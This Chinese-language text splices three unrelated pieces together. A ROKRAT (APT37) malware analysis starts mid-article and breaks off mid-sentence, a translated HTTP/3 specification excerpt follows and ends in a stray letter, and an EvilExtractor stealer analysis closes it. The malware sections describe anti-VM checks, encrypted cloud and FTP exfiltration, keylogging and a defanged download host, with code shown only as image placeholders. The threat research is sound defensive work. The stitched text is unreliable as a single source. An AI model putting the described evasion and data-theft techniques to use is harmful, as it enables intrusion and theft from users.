對DLL文件的初步分析顯示,它包含了商業代碼保護解決方案Themida。在分析了它執行的內存轉儲後,我們能夠確認這實際上是Amadey。誘餌HTML文件中包含一個偽造的Kakao銀行的登錄頁面,Kakao是韓國一家受歡迎的銀行。對HTML的進一步分析表明,它不是用於密碼釣魚,而是用來隱藏攻擊者的意圖。

15.png

偽造Kakao銀行登錄頁面

ROKRAT技術分析ROKRAT只是APT37使用的許多自定義工具之一,但它絕對是通用且強大的。 ROKRAT主要側重於運行額外的有效負載和大量的數據竊取。它的CC功能依賴於雲基礎設施,包括DropBox、pCloud、Yandex cloud和OneDrive。 ROKRAT還收集有關計算機的信息,以防止被其他競爭者再次感染。

雖然在過去幾年中,ROKRAT並沒有發生重大變化,但其破壞力依然不容小覷,這可以歸因於它巧妙地使用內存執行,將CC通信偽裝成潛在的合法云通信,以及額外的加密層,以阻礙網絡分析和逃避網絡簽名。因此,最近發表的關於ROKRAT的文章並不多。

通用惡意軟件結構ROKRAT的大多數樣本都有一個非常簡單的WinMain函數。到目前為止分析的所有樣本都包含一個數據收集功能(CollectMachineData,如下圖所示),該功能在主RAT線程(MainRATThread)執行之前執行。這個線程初始化RAT並運行一個循環,以嘗試從CC獲取命令,然後解析並執行它們。

WinMain函數中嵌入了兩個額外的功能,我們只在樣本的一個子集中觀察到了這兩個功能。第一個檢查RAT是否能夠寫入TEMP目錄(CheckTemp,如下圖所示)。第二個創建了一個線程(KillCertainProcessesThread),用於停止與以前利用Hancom Office漏洞的感染載體相關的某些進程。

16.png

ROKRAT中WinMain函數的示例

受害目標分析ROKRAT在執行時調用的第一個函數旨在收集有關受感染計算機的數據。在初始攻擊階段,這可能有助於攻擊者區分這是否是一個期望的目標,然後採取相應的行動。

在這個函數(以及許多其他函數)中,ROKRAT使用加密字符串來防止靜態分析看不到使用的一些技術。此處收集的信息包括程序是否在WOW64上運行(表示32位應用程序在64位窗口上運行)、vmtoolsd.exe的版本(VMWare Tools Daemon,如果已安裝)、註冊表中的SMBIOS數據以及註冊表中的系統BIOS版本。

RAT還收集用戶名、計算機名和RAT正在執行的可執行文件的完整路徑。後者很重要,因為感染鏈通常涉及將ROKRAT PE文件注入現有進程的內存。換言之,這使攻擊者能夠查看ROKRAT是否在預期的進程中執行,如powershell.exe或notepad.exe。最後,該函數檢查可執行文件是否有權在C:\Windows下創建用於寫入的文件。

17.png

CollectMachineData收集有關受感染計算機的各種信息

雖然在上述函數中收集了大量目標的數據,但在ROKRAT開始接受命令之前,還有另一個數據收集函數在主RAT線程的上下文中運行。第二個函數檢查調用IsDebuggerPresent API,將結果存儲為字符(0或1)。此外,它還調用了一個函數來獲取計算機的屏幕截圖。

將執行在主線程中執行的數據收集,每次ROKRAT嘗試獲取命令時發送收集的數據。

在同一函數中,一些示例還檢查是否有一個名為360Tray.exe的正在運行的進程,該進程是名為360 Total Security的防病毒軟件的一部分。結果存儲在一個全局布爾變量中,並在用於執行shellcode有效負載的單獨函數中訪問。有趣的是,如果找到了進程,ROKRAT會將等待shellcode完成運行的超時時間從24秒增加到48秒。如果shellcode運行超過超時時間,並且之前未檢測到360Tray.exe,ROKRAT將嘗試終止shellcode線程。

如前所述,一些ROKRAT示例執行一個名為KillCertainProcessesThread的線程。這個線程阻止了兩個進程:gbb.exe和gswin32c.exe,它們負責解析Hancom Office中的postscript數據。過去,ROKRAT樣本來自惡意的HWP文檔,這些文檔利用這些進程來獲取代碼執行。最有可能的是,這是在試圖清除之前活動中的任何利用痕跡時留下的代碼。

ROKRAT沒有為這些進程名稱使用硬編碼或加密的字符串,而是包含一個簡單的哈希算法,該算法基於整數值確定進程名稱。它的工作方式如下:

18.png

CC通信在我們分析的每個ROKRAT樣本中,惡意軟件配置包含一個代表云基礎設施的ID號,以及使用它的API令牌。 ID號可以具有以下值,以對應不同的雲提供商,以及允許RAT與本地計算機通信的測試模式:

1 -本地計算機(無雲)

3 - Dropbox

4 - pCloud

5 - Yandex

19.png

雲存儲提供商的Switch case語句

進一步的分析表明,通常有兩種CC配置,一種用作主要基礎設施,另一種用作備份。在我們發現的最新樣本中,主要的CC是pCloud,次要的是Yandex Cloud。

ROKRAT從初始化令牌開始,然後從CC獲取文件夾內容,以確保它具有訪問權限並且令牌有效:

20.png

列出pCloud中文件夾目錄的GET請求標頭

ROKRAT使用的文件的名稱是基於GetTickCount API和rand API的隨機值生成的,並以執行時間作為依據。

ROKRAT向服務器上傳一個文件,其中包含有關受害計算機的以下信息:

硬編碼值0xBAADFEDE–稍後在CC通信中使用;

IsDebuggerPresent值;

之前保存到以下路徑的惡意軟件的屏幕截圖:%TEMP%\

進程數據—每個工作進程的pid:

Tick Count;

XOR密鑰–用於解密CC中的命令和有效負載;

生成的文件名-稍後用於下載和執行某些命令中的有效負載;

IsWow64Process標識;

Windows版本;

計算機名;

使用者名稱;

計算機類型—通過查詢HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mssmbios\Data下的SMBiosData註冊表值獲得;

VMware工具版本數據;

系統BIOS版本;

為了進一步隱藏其踪跡,ROKRAT將收集到的有關計算機的數據標記為MP3:

21.png

將從受害計算機收集的加密數據發送到pCloud的POST請求標頭

首先,使用一個隨機的四字節密鑰對數據進行異或運算。由於這個原因,數據以硬編碼的四字節值0xBAADFEDE開始。由於攻擊者知道硬編碼的值,他們可以通過使用0xBAADFEDE對異或數據的前四個字節進行異或來獲得異或密鑰。然後用AES-CBC對異或數據進行加密。最後,使用硬編碼的RSA公鑰對AES密鑰進行加密,以確保只能使用RSA私鑰對有效負載進行解密。

儘管CC通信已經在HTTPS流量中加密,但ROKRAT通過使用AES加密上傳到CC的數據進一步進行了加密。當惡意軟件初始化時,它會生成兩個隨機的16字節值,作為用於加密命令和有效負載的AES密鑰的基礎。惡意軟件還附帶了一個硬編碼的16字節值,然後對兩個隨機值進行異或。結果是兩個AES密鑰,一個用於加密和解密命令,另一個用於加密和解密有效負載。

ROKRAT命令每個命令都由一個字符標識。有些命令採用參數,並且這些參數是在命令ID字符之後提供的。在識別出正確的命令後,代碼會根據命令的類型解析參數。下表列出了研究人員在ROKRAT中發現的命令,以及它們預期的參數和操作:

22.1.png

22.2.png

在收到清理命令(d)後,ROKRAT運行以下命令來刪除惡意軟件最初未使用的持久性機制。它們可能與感染後的活動有關。

23.png

在接收到命令1-4後,ROKRAT創建一個名為out.txt的文件,其中包含有關係統的信息:

24.png

總結我們介紹了臭名昭著的APT37的最新活動,介紹了幾種不同的感染鏈,其中大多數導致ROKRAT有

QUIC 傳輸協議具有HTTP 傳輸所需的幾個特性,例如stream multiplexing、每個流的流控制和低延遲連接建立。本文檔描述了HTTP 語義在QUIC 上的映射。本文還介紹了QUIC 包含的HTTP/2 功能,並描述瞭如何將HTTP/2 擴展移植到HTTP/3。

簡介HTTP語義([HTTP])在互聯網上廣泛應用於各種服務。這些語義最常用於HTTP/1.1和HTTP/2。 HTTP/1.1被用於各種傳輸和會話層,而HTTP/2主要用於TCP上的TLS。 HTTP/3在一個新的傳輸協議上支持相同的語義:QUIC。

1.1 HTTP的早期版本HTTP/1.1 ([HTTP/1.1])使用空格分隔的文本字段來傳遞HTTP消息。雖然這些交換是人類可讀的,但使用空格進行消息格式化會導致解析複雜性和對變體行為的過度容忍。

由於HTTP/1.1不包括多路復用層,因此通常使用多個TCP 連接來並行處理請求。然而,這對擁塞控制(congestion control)和網絡效率有負面影響,因為TCP 不跨多個連接共享擁塞控制。

HTTP/2 引入了一個二進制幀和多路復用層,在不修改傳輸層的情況下改善了延遲。然而,由於HTTP/2的多路復用的並行特性對TCP的丟失恢復機制是不可見的,因此丟失或重新排序的數據包會導致所有活動事務都經歷停頓,無論該事務是否直接受到丟失數據包的影響。

1.2 委託給QUICQUIC 傳輸協議結合了stream multiplexing和每個流的流控制,類似於HTTP/2幀層提供的。通過提供流級別的可靠性和整個連接的擁塞控制,與TCP映射相比,QUIC有能力提高HTTP的性能。 QUIC還在傳輸層合併了TLS 1.3 ([TLS]),提供了與在TCP上運行TLS相當的機密性和完整性,並改善了TCP快速打開([TFO])的連接設置延遲。

本文定義了HTTP/3:HTTP 語義在QUIC 傳輸協議上的映射,大量借鑒了HTTP/2 的設計。 HTTP/3 依賴於QUIC 來提供數據的機密性和完整性保護;對等認證;可靠、有序、按流交付。在將流生命週期和流控制問題委託給QUIC 時,每個流都使用類似於HTTP/2 幀的二進制幀。 QUIC 包含一些HTTP/2 功能,而其他功能則在QUIC 之上實現。

2.HTTP/3協議概述HTTP/3使用QUIC傳輸協議和類似於HTTP/2的內部幀層為HTTP語義提供了傳輸。

一旦客戶端知道某個終端存在HTTP/3 服務器,它就會打開一個QUIC 連接。 QUIC 提供協議協商、基於流的多路復用和流控制。

在每個流中,HTTP/3 通信的基本單位是一個幀。每種幀類型都有不同的用途。例如,HEADERS 和DATA 幀構成了HTTP 請求和響應的基礎)。適用於整個連接的幀在專用控制流上傳輸。

請求的多路復用是使用QUIC流抽象來執行的,這在[QUIC- transport]的第2節中描述。每個請求-響應對使用一個QUIC流。流之間是相互獨立的,所以一個流被阻止或丟失不會影響其他流的進程。

服務器推送是HTTP/2中引入的一種交互方案,它允許服務器在客戶端發出指定請求之前向客戶端推送一個請求-響應交換。這就權衡了網絡使用和潛在的延遲增益。一些HTTP/3幀被用來管理服務器推送,例如PUSH_PROMISE,MAX_PUSH_ID和CANCEL_PUSH。

與HTTP/2 一樣,請求和響應字段被壓縮以進行傳輸。因為HPACK ([HPACK]) 依賴於壓縮字段部分的順序傳輸(QUIC 不提供保證),所以HTTP/3 用QPACK ([QPACK]) 替換了HPACK。 QPACK 使用單獨的單向流來修改和跟踪字段表狀態,而編碼字段部分引用表的狀態而不修改它。

3.連接設置和管理3.1 發現HTTP/3終端HTTP依賴權威的概念響應:在給定目標資源在響應消息由源服務器發起(或在其方向)時的狀態的情況下,該響應已被確定為對該請求最合適的響應在目標URI 中標識。

“https”方案將授權與擁有證書相關聯,客戶端認為該證書對於由URI 的授權組件標識的主機是可信賴的。在TLS 握手中接收到服務器證書後,客戶端必須驗證證書是否與URI的源服務器匹配。如果證書無法針對URI 的源服務器進行驗證,則客戶端不得認為服務器對該源具有權威性。

客戶端可以嘗試通過將主機標識符解析為IP 地址來嘗試訪問具有“https”URI 的資源,在指定端口上建立到該地址的QUIC 連接(包括如上所述的服務器證書驗證),並通過該安全連接向服務器發送以URI為目標的HTTP/3請求消息。除非使用其他機制來選擇HTTP/3,否則在TLS 握手期間在應用層協議協商擴展中使用令牌“h3”。

連接問題(例如,阻止UDP)可能導致無法建立一個QUIC連接;在這種情況下,客戶端應該嘗試使用基於TCP 的HTTP 版本。

服務器可以在任何UDP 端口上提供HTTP/3;替代服務廣告始終包含明確地端口,並且URI 包含與方案關聯的明確地端口或默認端口。

3.1.1HTTP替代服務HTTP 源可以使用“h3”ALPN 令牌通過Alt-Svc HTTP 響應頭字段或HTTP/2 ALTSVC 幀([ALTSVC]) 通告等效HTTP/3 終端的可用性。

例如,在HTTP響應中,通過包含以下標頭字段,可以表明HTTP/3在UDP端口50781上相同主機名是可用的:

Alt-Svc: h3=':50781'

在接收到表示HTTP/3支持的Alt-Svc記錄時,客戶端可以嘗試建立到指定主機和端口的QUIC連接;如果連接成功,客戶端可以使用本文檔中描述的映射發送HTTP請求。

3.1.2其他方案儘管HTTP獨立於傳輸協議,但“HTTP”方案將權限與在權限組件中標識的任何主機的指定端口上接收TCP連接的能力相關聯。由於HTTP/3不使用TCP,所以HTTP/3不能用於直接訪問由“HTTP”URI標識的資源的權威服務器。然而,諸如[ALTSVC]這樣的協議擴展允許授權服務器識別其他同樣具有授權且可能通過HTTP/3可訪問的服務。

當向方案不是“https”的源發起請求之前,客戶端必須確保服務器願意為該方案提供服務。對於方案為“http”的源,我們會在之後介紹實現此目的的實驗方法。

3.2 建立連接HTTP/3依賴於QUIC版本1作為底層傳輸,未來的規範可能會定義使用HTTP/3 的其他QUIC 傳輸版本。

QUIC 版本1 使用TLS 版本1.3 或更高版本作為其握手協議。 HTTP/3 客戶端必須支持在TLS 握手期間向服務器指示目標主機的機制。如果服務器由域名([DNS-TERMS]) 標識,則客戶端必鬚髮送服務器名稱指示(SNI; [RFC6066]) TLS 擴展,除非有另一種機制來指示使用的目標主機。

在建立連接期間,通過在TLS握手中選擇ALPN令牌“h3”來表示對HTTP/3的支持。對其他應用層協議的支持可以在相同的握手中提供。

雖然與核心QUIC 協議有關的連接級別選項是在初始加密握手中設置的,但特定於HTTP/3 的設置在SETTINGS 幀中傳遞。在建立了QUIC連接之後,每個終端必鬚髮送一個SETTINGS幀作為它們各自的HTTP控制流的初始幀。

3.3 連接重用HTTP/3連接是跨多個請求的持久連接。為了獲得最佳性能,客戶端在確定不再需要與服務器進行進一步通信之前(例如,當用戶導航離開某個特定的網頁時)不會關閉連接,或者直到服務器關閉連接。

一旦存在到服務器終端的連接,該連接可以被重用於具有多個不同URI 權限組件的請求。要使用一個現有的連接到一個新的源,客戶端必須驗證服務器為新的源服務器提供的證書。這意味著客戶端將需要保留服務器證書和驗證該證書所需的任何額外信息,否則客戶端將無法為其他源重用連接。

如果證書由於任何原因對於新源不可接受,則不得重用連接,並且應該為新源建立新連接。如果證書無法驗證的原因可能適用於已經與連接關聯的其他來源,客戶端應該重新驗證這些來源的服務器證書。例如,如果由於證書已過期或被吊銷而導致證書驗證失敗,則這可能用於使該證書用於建立權限的所有其他來源無效。

客戶端不應打開多個到給定IP 地址和UDP 端口的HTTP/3 連接,其中IP 地址和端口可能來自URI、選定的替代服務([ALTSVC])、配置的代理或名稱解析其中任何一個。客戶端可以使用不同的傳輸或TLS 配置打開到相同IP 地址和UDP 端口的多個HTTP/3 連接,但應避免使用相同配置創建多個連接。

服務器應盡可能長時間地保持打開的HTTP/3 連接,但在必要時允許終止空閒連接。當任何一個終端選擇關閉HTTP/3連接時,終止的終端應該首先發送一個GOAWAY 幀,以便兩個終端能夠可靠地確定之前發送的幀是否已經被處理並完成或終止任何必要的剩餘任務。

如果服務器不希望客戶端重用HTTP/3連接,它可以發送一個421(錯誤定向請求)狀狀態代碼來響應請求來表明它對請求不具有權威性。

4.在HTTP/3中表達HTTP語義4.1HTTP 消息幀客戶端在請求流上發送HTTP 請求,請求流是客戶端發起的雙向QUIC 流。客戶端必須在給定的流上只發送一個請求。服務器在與請求相同的流上發送零個或多個臨時HTTP響應,然後是一個最終HTTP響應,詳細信息如下。

推送響應在服務器發起的單向QUIC流上發送,服務器以與標準響應相同的方式發送零個或多個臨時HTTP響應,然後是一個最終HTTP響應。在給定的流中,收到多個請求或在最終HTTP 響應之後收到額外的HTTP 響應必須被視為格式錯誤。

一個HTTP消息(請求或響應)包括:

標頭部分,包括消息控制數據,作為單個標頭幀發送;

可選地,如果內容存在,則以一系列數據幀的形式發送;

可選地,尾部部分(如果存在)作為單個HEADERS 幀發送。

接收到無效的幀序列必須被視為H3_FRAME_UNEXPECTED 類型的連接錯誤。特別是,任何HEADERS 幀之前的DATA 幀,或尾部HEADERS 幀之後的HEADERS 或DATA 幀,都被認為是無效的。其他幀類型,尤其是未知幀類型,可能會根據它們自己的規則被允許。

服務器可以在響應消息的幀之前、之後或與響應消息的幀交錯發送一個或多個PUSH_PROMISE 幀。這些PUSH_PROMISE 幀不是響應的一部分。 push stream上不允許使用PUSH_PROMISE 幀;包含PUSH_PROMISE 幀的推送響應必須被視為H3_FRAME_UNEXPECTED 類型的連接錯誤。

HEADERS 和PUSH_PROMISE 幀可能會引用對QPACK 動態表的更新。雖然這些更新不是消息交換的直接部分,但必須先接收和處理它們,然後才能使用消息。

傳輸編碼沒有為HTTP/3定義;Transfer-Encoding標頭字段絕對不能被使用。

當且僅當一個或多個臨時響應在對同一請求的最終響應之前,響應可能包含多個消息。臨時響應不包含內容或預告片部分。

HTTP 請求/響應交換完全使用客戶端發起的雙向QUIC 流。發送請求後,客戶端必須關閉要發送的流。除非使用CONNECT 方法,否則客戶端不得依賴於接收到對其請求的響應來進行流關閉。發送最終響應後,服務器必須關閉要發送的流。此時,QUIC 流已完全關閉。

當流關閉時,這表示最終HTTP消息的結束。因為有些消息很大或沒有綁定,所以一旦接收到足夠的消息以進行處理,終端就應該開始處理部分HTTP消息。如果客戶端發起的流終止時沒有足夠的HTTP消息來提供完整的響應,服務器應該以錯誤碼H3_REQUEST_INCOMPLETE終止其響應流。

如果響應不依賴於尚未發送和接收的請求的任何部分,服務器可以在客戶端發送整個請求之前發送一個完整的響應。當服務器不需要接收請求的剩餘部分時,它可以中止讀取請求流,發送一個完整的響應,並關閉流的發送部分。當請求客戶端停止發送請求流時,應該使用錯誤碼H3_NO_ERROR。客戶絕對不能因為他們的請求被突然終止而刪除完整的回复,儘管客戶總是可以根據自己的判斷刪除其他原因的回复。如果服務器發送了部分或完整的響應,但沒有終止讀取請求,客戶端應該繼續發送請求的內容,並正常關閉流。

4.1.1取消和拒絕請求一旦請求流被打開,請求可以被任何一個終端取消。如果對響應不再感興趣,客戶端會取消請求;如果服務器無法或選擇不響應請求,則會取消請求。如果可能,建議服務器發送一個帶有適當狀態碼的HTTP響應,而不是取消它已經開始處理的請求。

實現應該通過突然終止流中仍然打開的任何方向來取消請求。為此,實現重置流的發送部分,併中止流的接收部分的讀取。

當服務器取消請求而不執行任何應用程序處理時,該請求被認為是“被拒絕”的。服務器應該中止包含錯誤代碼H3_REQUEST_REJECTED的響應流。在這種情況下,“已處理”意味著流中的一些數據被傳遞到軟件的較高層,該軟件可能因此採取了一些操作。客戶端可以將被服務器拒絕的請求當作從未發送過,從而允許它們稍後重試。

對於部分或全部處理的請求,服務器不得使用H3_REQUEST_REJECTED 錯誤代碼。當服務器在部分處理後放棄響應時,它應該以錯誤代碼H3_REQUEST_CANCELLED 中止其響應流。

客戶端應該使用錯誤代碼H3_REQUEST_CANCELLED來取消請求。在接收到此錯誤碼後,如果沒有執行任何處理,服務器可能會使用錯誤碼H3_REQUEST_REJECTED突然終止響應。客戶端絕對不能使用H3_REQUEST_REJECTED錯誤碼,除非服務端使用此錯誤碼請求關閉請求流。

如果在收到完整響應後取消流,客戶端可以忽略取消並使用響應。但是,如果在收到部分響應後取消流,則不應使用響應。只有GET、PUT 或DELETE 等冪等操作可以安全地重試;客戶端不應該使用非冪等方法自動重試請求,除非它有某種方法可以知道請求語義是獨立於方法的冪等,或者有某種方法可以檢測到原始請求從未被應用。

4.1.2 格式錯誤的請求和響應格式錯誤的請求或響應是一個有效的幀序列,但由於以下原因而無效:禁止字段或偽標頭字段的存在;

沒有強制性的偽標頭字段;

偽標頭字段的無效值;

字段後的偽標頭字段;

無效的HTTP 消息序列;

包含大寫字段名稱;

在字段名稱或值中包含無效字符。

如果一個請求或響應被定義為包含content - length標頭字段,如果content - length標頭字段的值不等於接收到的數據幀長度之和,則該請求或響應是不規範的。一個被定義為永遠沒有內容的響應,即使有content - length,也可以有一個非零的content - length標頭字段,即使數據幀中沒有包含任何內容。

處理HTTP 請求或響應的中介(即任何不充當隧道的中介)不得轉發格式錯誤的請求或響應。檢測到的格式錯誤的請求或響應必須被視為H3_MESSAGE_ERROR 類型的流錯誤。

對於格式錯誤的請求,服務器可以在關閉或重置流之前發送一個指示錯誤的HTTP 響應。客戶端不得接受格式錯誤的響應。請注意,這些要求旨在防止針對HTTP 的幾種常見攻擊;它們是故意嚴格的,因為允許可能暴露這些漏洞的實現。

4.2 HTTP字段HTTP消息以一系列項值對的形式攜帶元數據,稱為“HTTP字段”。與HTTP/2類似,HTTP/3還有一些額外的注意事項,包括字段名、連接標頭字段和偽標頭字段中的字符的使用。

字段名是包含ASCII字符子集的字符串。字段名中的字符必須在編碼之前轉換為小寫。字段名稱中包含大寫字符的請求或響應必須被視為格式不正確。

HTTP/3 不使用Connection 頭字段來指示特定於連接的字段;在此協議中,特定於連接的元數據通過其他方式傳送。終端絕對不能生成包含連接特定字段的HTTP/3字段部分;任何包含連接特定字段的消息都必須被視為格式錯誤。

唯一的例外是TE標頭字段,它可能出現在HTTP/3請求標頭中;如果是,它不能包含除“trailers”之外的任何值。

將HTTP/1.x 消息轉換為HTTP/3 的中介必須刪除連接特定的標頭字段,否則它們的消息將被其他HTTP/3 終端視為格式錯誤。

4.2.1 字段壓縮(field compression)[QPACK]描述了HPACK的一個變體,它使編碼器能夠控制由壓縮引起的標頭阻止的數量。這允許編碼器平衡壓縮效率和延遲。 HTTP/3 使用QPACK 來壓縮頭部和尾部部分,包括出現在標頭部分的控制數據。

為了提高壓縮效率,在壓縮之前,Cookie 標頭字段([COOKIES])可以拆分為單獨的字段行,每行包含一個或多個cookie 對。如果一個解壓縮的字段部分包含多個cookie字段行,則在傳遞到HTTP/2 或HTTP/3 以外的上下文之前,必須使用“;”的兩字節分隔符(ASCII0x3b,0x20)將它們連接成單個字節字符串,例如HTTP/1.1 連接,或通用HTTP 服務器應用程序。

4.2.2 標頭大小限制HTTP/3實現可能會對單個HTTP消息接受的消息標頭的最大大小施加限制。如果服務器接收到的標頭區域比它願意處理的更大,它可以發送一個HTTP 431(請求標頭字段太大)狀態碼([RFC6585])。客戶端可以刪除它無法處理的響應。字段列表的大小是根據未壓縮的字段大小計算的,包括名稱和值的長度(以字節為單位),外加每個字段的32字節開銷。

如果一個實現希望將此限制通知其對等方,則可以在SETTINGS_MAX_FIELD_SECTION_SIZE 參數中將其作為字節數傳送。接收到此參數的實現不應該發送超過指示大小的HTTP 消息標頭,因為對等方可能會拒絕處理它。但是,HTTP 消息在到達源服務器之前可以經過一個或多個中介。因為這個限制是由處理消息的每個實現單獨應用的,所以不能保證低於這個限制的消息被接受。

4.3. HTTP控制數據與HTTP/2類似,HTTP/3使用了一系列偽標頭字段,其中字段名以字符(ASCII0x3a)開頭。這些偽標頭字段傳遞消息控制數據。

偽標頭字段不是HTTP字段。終端絕對不能生成除本文檔中定義的那些以外的偽標頭字段。然而,延期可以協商修改此限制。

偽標頭字段僅在定義它們的上下文中有效。為請求定義的偽標頭字段絕對不能出現在響應中;為響應定義的偽標頭字段絕對不能出現在請求中。偽標頭字段絕對不能出現在尾部部分。終端必須將包含未定義或無效偽標頭字段的請求或響應視為格式錯誤。

所有的偽標頭字段必須出現在普通標頭字段之前的標頭部分。任何包含出現在普通標頭字段之後的標頭部分中的偽標頭字段的請求或響應都必須被視為格式錯誤。

4.3.1. 請求偽標頭字段為請求定義了以下偽標頭字段:

':method':包含HTTP方法;

':scheme':包含目標URI的方案部分。

:scheme偽標頭不局限於具有“http”和“https”方案的URI。代理或網關可以轉換非HTTP方案的請求,使HTTP 能夠與非HTTP 服務進行交互。

':authority':包含目標URI的權限部分,權限不得包含方案“http”或“https”的URI 的已棄用userinfo 子組件。

為確保HTTP/1.1 請求行可以準確再現,當從具有特定方法形式的請求目標的HTTP/1.1 請求轉換時,必須省略此偽標頭字段。直接生成HTTP/3 請求的客戶端應該使用:authority 偽標頭字段而不是Host 標頭字段。如果請求中沒有Host字段,則將HTTP/3 請求轉換為HTTP/1.1 的中介必須通過複製:authority 偽標頭字段的值來創建Host字段。

':path':包含目標URI的路徑和查詢部分後跟“查詢”結果。

對於“http”或“https”URI,此偽頭字段不得為空;不包含路徑組件的“http”或“https”URI 必須包含值/(ASCII0x2f)。不包含路徑組件的OPTIONS 請求包含:path 偽標頭字段的值* (ASCII0x2a)。

所有HTTP/3 請求必須只包含一個:method、scheme 和:path 偽標頭字段的值,除非請求是CONNECT 請求。

如果:scheme 偽標頭字段標識了具有強制權限組件(包括“http”和“https”)的方案,則請求必須包含:authority 偽標頭字段或Host 標頭字段。如果這些字段存在,則它們不得為空。如果兩個字段都存在,它們必須包含相同的值。如果該方案沒有強制授權組件並且在請求目標中沒有提供任何內容,則請求不得包含:authority 偽標頭或Host 標頭字段。

如果一個HTTP請求省略了強制的偽標頭字段或者包含了這些偽標頭字段的無效值,那麼這個請求就是不規範的。

HTTP/3沒有定義攜帶HTTP/1.1請求行中包含的版本標識符的方法。 HTTP/3請求隱含的協議版本是“3.0”。

4.3.2. 響應偽標頭字段對於響應,定義了一個帶有HTTP 狀態代碼的“:status”偽標頭字段。這個偽標頭字段必須包含在所有響應中,否則,響應格式錯誤。

HTTP/3沒有定義一種方式來攜帶包含在HTTP/1.1狀態行中的版本或原因短語。 HTTP/3響應隱含的協議版本是“3.0”。

4.4. 連接方法CONNECT 方法請求接收方建立一條到請求目標標識的目標源服務器的隧道,它主要與HTTP 代理一起使用,以與源服務器建立TLS 會話,以便與“https”資源進行交互。

在HTTP/1.x 中,CONNECT 用於將整個HTTP 連接轉換為到遠程主機的隧道。在HTTP/2 和HTTP/3 中,CONNECT 方法用於在單個流上建立隧道。

CONNECT請求構造如下:

:method 偽標頭字段設置為“CONNECT”;

:scheme 和:path 偽標頭字段被省略;

:authority 偽標頭字段包含要連接的主機和端口,相當於CONNECT 請求的請求目標的權限形式。

請求流在請求結束時保持打開狀態,以攜帶要傳輸的數據。不符合這些限制的CONNECT請求是不正確的。

支持CONNECT 的代理與:authority 偽標頭字段中標識的服務器建立TCP 連接([RFC0793])。一旦成功建立此連接,代理就會向客戶端發送一個包含2xx 系列狀態代碼的HEADERS 幀。

流上的所有數據幀都對應於TCP連接上發送或接收的數據。客戶端發送的任何數據幀的有效載荷都由代理傳輸給TCP服務器,從TCP服務器接收到的數據被代理打包成數據幀。請注意,不能保證TCP 段的大小和數量可預測地映射到HTTP DATA 或QUIC STREAM 幀的大小和數量。

C

EvilExtractor(有時拼寫為Evil Extractor)是一種旨在針對Windows操作系統並從終端設備提取數據和文件的攻擊工具。它包括幾個通過FTP服務工作的模塊。它是由一家名為Kodex的公司開發的,該公司聲稱這是一款教育工具。然而,FortiGuard研究表明,攻擊者正在積極使用它作為信息竊取工具。

2023年3月,惡意活動顯著增加。 FortiGuard實驗室在3月30日的一次釣魚電子郵件活動中發現了這種惡意軟件。它通常偽裝成合法文件,如Adobe PDF或Dropbox文件,但一旦加載,它就開始利用PowerShell的惡意活動。它還包含環境檢查和反虛擬機功能。其主要目的似乎是從受攻擊的終端竊取瀏覽器數據和信息,然後將其上傳到攻擊者的FTP服務器。

研究人員最近審查了一個被注入受害者係統的惡意軟件版本,作為分析的一部分,我們發現大多數受害者位於歐洲和美國。開發商於2022年10月發布了其項目,並不斷更新以提高其穩定性並加強其模塊。

本文將研究用於EvilExtractor的初始攻擊方法及其功能。

1.png

EvilExtractor在網上出售

初始訪問帶有惡意附件的網絡釣魚電子郵件如下圖所示。它偽裝成一個帳戶確認請求。攻擊者還通過使用解壓文件的Adobe PDF圖標來欺騙受害者。 PE標頭如下圖所示。

2.png

釣魚郵件

3.png

“Account_Info.exe”的文件標頭

執行文件是由PyInstaller封裝的Python程序。我們用pyinstxtractor提取它,發現它的主代碼文件“contain.pyc”中的“PYARMOR”字符串,是Python腳本的混淆工具,使惡意軟件更難被分析和檢測。我們從_pytransform.dll中提取了密鑰和iv,並使用AES-GCM解密了“contain.pyc”。

4.png

' include .pyc'中的代碼

除了Python程序之外,我們還觀察到了一個可以提取EvilExtractor的.NET加載程序。下圖是代碼的一部分。它包含Base64編碼的數據,該數據是PowerShell腳本。此執行文件由工具“PS2EXE-GUI”生成,該工具可以將PowerShell腳本轉換為EXE文件。

5.png

EvilExtractor的.Net代碼

EvilExtractor在解密pyc文件之後,我們得到了EvilExtractor的主代碼。它是一個PowerShell腳本,包含以下模塊:

日期時間檢查;

反沙盒;

反虛擬機;

反掃描器;

FTP服務器設置;

竊取數據;

上傳被盜數據;

清除日誌。

它首先檢查系統日期是否在2022.11.9和2023.4.12之間。如果沒有,則使用以下命令刪除PSReadline中的數據並終止:

6.png

然後,它比較產品模型,看看它是否匹配以下任何一個:VirtualBox、VMWare、Hyper-V、Parallels、Oracle VM VirtualBox、Citrix Hypervisor、QEMU、KVM、Proxmox VE或Docker,如下圖所示。它還將受害者的主機名與來自VirusTotal設備或其他掃描儀/虛擬機的187個名稱進行檢查,如下圖所示。

7.png

EvilExtractor比較產品模型以進行匹配

8.png

虛擬環境和掃描器/虛擬機檢查

通過環境檢查後,EvilExtractor從http://193[.]42[.]33[.]232下載三個用於竊取數據的組件。這些文件也是使用PyArmor進行混淆處理的Python程序。第一個是“KK2023.zip”,用於竊取瀏覽器數據並將其保存在“IMP_Data”文件夾中。它可以從Google Chrome、Microsoft Edge、Opera和Firefox中提取cookie。它還從以下瀏覽器收集瀏覽器歷史記錄和密碼:

9.png

第二個文件是“Confirm.zip”。它是一個將數據保存在“KeyLogs”文件夾中的鍵盤記錄器。最後一個文件“MnMs.zip”是一個網絡攝像頭提取器。其對應的代碼如下圖所示。

10.png

下載Keylogger和Webcam Snapshot函數的組件

EvilExtractor還通過PowerShell腳本收集系統信息,如下圖所示。下圖顯示了一個名為“Credentials.txt”的文本文件中的連接數據。

11.png

用於收集系統信息的PowerShell腳本

12.png

“Credentials.txt”的內容

EvilExtractor從Desktop和Download文件夾下載具有特定擴展名的文件,包括jpg, png, jpeg, mp4, mpeg, mp3, avi, txt, rtf, xlsx, docx, pptx, pdf, rar, zip, 7z, csv, xml和html。它還使用命令“CopyFromScreen”來捕獲屏幕截圖,代碼如下圖所示。

13.png

下載文件並獲取截圖

EvilExtractor從受攻擊的終端提取所有數據後,將其上傳到攻擊者的FTP服務器,如下圖所示。 EvilExtractor的開發人員還為購買其惡意軟件的用戶提供了FTP服務器。

14.png

將文件上傳到攻擊者的FTP服務器

Kodex 勒索軟件EvilExtractor還具有勒索軟件功能,它被稱為“Kodex勒索軟件”,如下圖所示。我們從上一節提到的.net加載程序中提取了此PowerShell腳本,其勒索軟件的腳本與其竊取程序的腳本相似。

15.png

來自evilextracom[.]com的介紹

